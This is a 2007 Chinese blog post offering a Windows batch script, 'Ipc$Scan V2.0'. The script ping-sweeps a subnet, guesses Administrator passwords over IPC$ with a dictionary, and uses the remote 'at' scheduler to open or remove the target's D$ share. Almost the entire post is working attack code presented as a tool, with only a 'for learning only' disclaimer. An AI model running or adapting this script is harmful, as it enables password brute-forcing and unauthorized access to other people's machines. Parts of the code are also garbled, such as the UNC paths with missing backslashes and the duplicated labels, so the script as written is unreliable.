用批处理写的一个Ipc$扫描器

用批处理写的一个Ipc$扫描器（Ipc$Scan V2.0.bat），仅供学习！

@ECHO OFF
setlocal
title Ipc$Scan V2.0
:::::::::::::::::::::::::::主菜单:::::::::::::::::::::::
:MENU
COLOR 8A
set op=""
CLS
rem echo.输出空行，即相当于输入一个回车
ECHO.
ECHO.
ECHO.
ECHO.                    "Ipc$Scan V2.0"欢迎您的使用！
ECHO.                                CODE BY t0nsha@070324
ECHO.           主菜单：
ECHO.          【1】Ping探测一个C类网段；
ECHO.          【2】Net Use猜解主机密码建立IPC$连接；
ECHO.          【3】At尝试开启目标共享（与2连用）；
ECHO.          【4】At关闭目标共享（与2连用）；
ECHO.          【About】关于此程序；
ECHO.          【Quit】退出。
ECHO.
set /p op=请选择服务项目的数字号并回车[1234]：
if %op%=="" goto error
rem 第一个选项具有默认选项的功能！
if %op%==1 goto op1
if %op%==2 goto op2
if %op%==3 goto op3
if %op%==4 goto op4
if "%op%"=="a" goto about
if "%op%"=="q" goto quit

:op1
set /p netid=请输入一个C类网段（如：192.168.1）：
echo %netid%网段的主机存活情况如下：>alive.txt
for /L %%A in (1,1,254) do call :ping %netid% %%A
:ping
(ping -n 1 %1.%2 | find "from")&&echo %1.%2 >>alive.txt
if %2==5 cls & type alive.txt & pause & goto :menu

:op2
if not exist "pass.txt" goto :nopass
if exist "pass.txt" goto :nocreate
:nopass
echo 当前目录下没有密码文件（pass.txt），
set /p createpass=是否建立默认密码文件（YN）：
if %createpass%==Y goto :create
if %createpass%==N goto :nocreate
:create
echo ;密码字典，每行前带分号的为注释行！>pass.txt
echo ;空密码为两个引号，即："">>pass.txt
echo ;带空格的密码必须用双引号括起来，如："test test">>pass.txt
echo "">>pass.txt
:nocreate
set /p ip=请输入一个IP地址（如：192.168.1.1）：
set user="administrator"
set /p user=请输入尝试猜解的用户名（默认为Administrator）：
for /F %%B in    (pass.txt) do call :netuse %ip% %%B %user%
:netuse
(net use /%1ipc$ %2 /user:%3 | find "成功")&&echo 主机%1上%user%的密码是：%2,已成功与%1建立连接！&pause&goto :menu

:op3
echo 此项应与第二项配对使用，即先用2建立连接后再运行本项！
net time /%ip%
::for /F "eol=; tokens=4,5 delims=: " %C in ('net time ^^’.25.90.5') do echo %C %D
for /F "eol=; tokens=4,5 delims=: " %%C in ('net time ^^%ip%') do Call :settime %%C %%D
:settime
set hour=%1 & set min=%2
::at /222.25.90.5 20:43 net share d$=d:
set/a newmin=%min%+2
::echo %hour:~0,2%:%newmin%
at /%ip% %hour:~0,2%:%newmin% net share d$=d:|find "成功"&&echo 主机%ip%将在%hour:~0,2%:%newmin%开启D盘共享！&&pause&&goto :menu
echo 失败！&pause&goto :menu

:op4
echo 此项应与第二项配对使用，即先用2建立连接后再运行本项！
net time /%ip%
::for /F "eol=; tokens=4,5 delims=: " %C in ('net time ^^’.25.90.5') do echo %C %D
for /F "eol=; tokens=4,5 delims=: " %%C in ('net time ^^%ip%') do Call :settime %%C %%D
:settime
set hour=%1 & set min=%2
::at /222.25.90.5 20:43 net share d$=d:
set/a newmin=%min%+2
::echo %hour:~0,2%:%newmin%
at /%ip% %hour:~0,2%:%newmin% net share d$ /del|find "成功"&&net use /%ip%ipc$ /del && echo 主机%ip%将在%hour:~0,2%:%newmin%关闭D盘共享！&&pause&&goto :menu
echo 失败！&pause&goto :menu

:about
cls
echo.
echo         ★★★★★★★★★★★★★★★★★★★★★★★★★★★
echo         ★                        关于                      ★
echo.        ★                                                  ★
echo         ★如有任何建议或Bug请Email至：liaodunxia@gmail.com  ★
echo.        ★                                                  ★
echo         ★                                                  ★
echo         ★               ◎退出请直接关闭窗口◎             ★
echo         ★★★★★★★★★★★★★★★★★★★★★★★★★★★
echo.
call :website
:website
setlocal enabledelayedexpansion
set website=          欢迎访问我的博客：http://blog.csdn.net/t0nsha的BLOG
:website2
for /l %%i in (0,1,45) do call :website1 %%i
if %a% equ 45 goto :about
goto :website2
:website1
set/a a=%1
set/p=!website:~%a%,1!<nul
ping/n 1 127.1>nul
goto :eof

:quit
cls
echo.
echo.
echo.
echo                －－－－－－－－－－
echo                §谢谢使用！再见！§
echo                －－－－－－－－－－
echo on & endlocal & ping -n 1 127.1 >nul & goto :eof

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/t0nsha/archive/2007/03/24/1540212.aspx